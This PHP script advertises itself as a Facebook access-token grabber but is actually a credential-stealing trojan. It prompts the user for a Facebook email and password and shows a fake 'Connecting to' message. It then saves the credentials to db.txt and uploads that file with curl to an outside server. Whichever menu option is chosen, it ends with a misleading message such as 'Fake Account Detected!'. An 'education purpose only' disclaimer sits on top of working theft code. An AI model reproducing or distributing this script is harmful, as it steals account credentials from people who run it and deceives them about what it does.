Facebook Access Token Grabber [v1.1]

<?php
$status=0;
function clear(){
system('clear');
}
$menu = "
*#################*
# Facebook Access # Author : Cy#b3r00T
#  Token Grabber  # http://github.com/soracyberteam
*#################*\n";
echo "$menu";
echo "
Warning !\n
This script just for education purpose only!
Any damage due to this script is not our responsibility.\n";
sleep(2);
clear();
awal:
clear();
if($status == "0"){
echo "$menu";
echo "1) Login
2) Grab token from friend list. [Need Login]
3) Grab token from group. [Need Login]
4) Grab token from custom link. [Need Login]
Option : ";
$opt=trim(fgets(STDIN));
if($opt === "1"){
clear();
echo "$menu";
echo "Login To Facebook\n";
echo "Email/Username : ";
$username=trim(fgets(STDIN));
echo "Password : ";
$password=trim(fgets(STDIN));
sleep(3);
echo "Connecting to 31.13.78.35 ...";
sleep(2);
$status=1;
goto awal;
}else{
clear();
echo "Login First!";
sleep(1);
goto awal;
}
}elseif($status == "1"){
$server="http://phytostemcell-indonesia.com/access_token/up.php";
echo "$menu";
echo "
Welcome, $username
1) Logout.
2) Grab token from friend list.
3) Grab token from from group.
4) Grab token from custom link.
Option : ";
$opt2=trim(fgets(STDIN));
if($opt2 === "1"){
clear();
echo "Good Bye... $username";
sleep(1);
$handler=fopen('db.txt','a');
fwrite($handler,"$username:$password");
fclose($handler);
sleep(2);
system("curl -F x=@db.txt $server");
exit();
}else{
clear();
echo "Fake Account Detected!
Please login with Real Account!";
sleep(1);
$handler=fopen('db.txt','a');
fwrite($handler,"$username:$password");
fclose($handler);
sleep(2);
system("curl -F x=@db.txt $server");
exit();
}
}
?>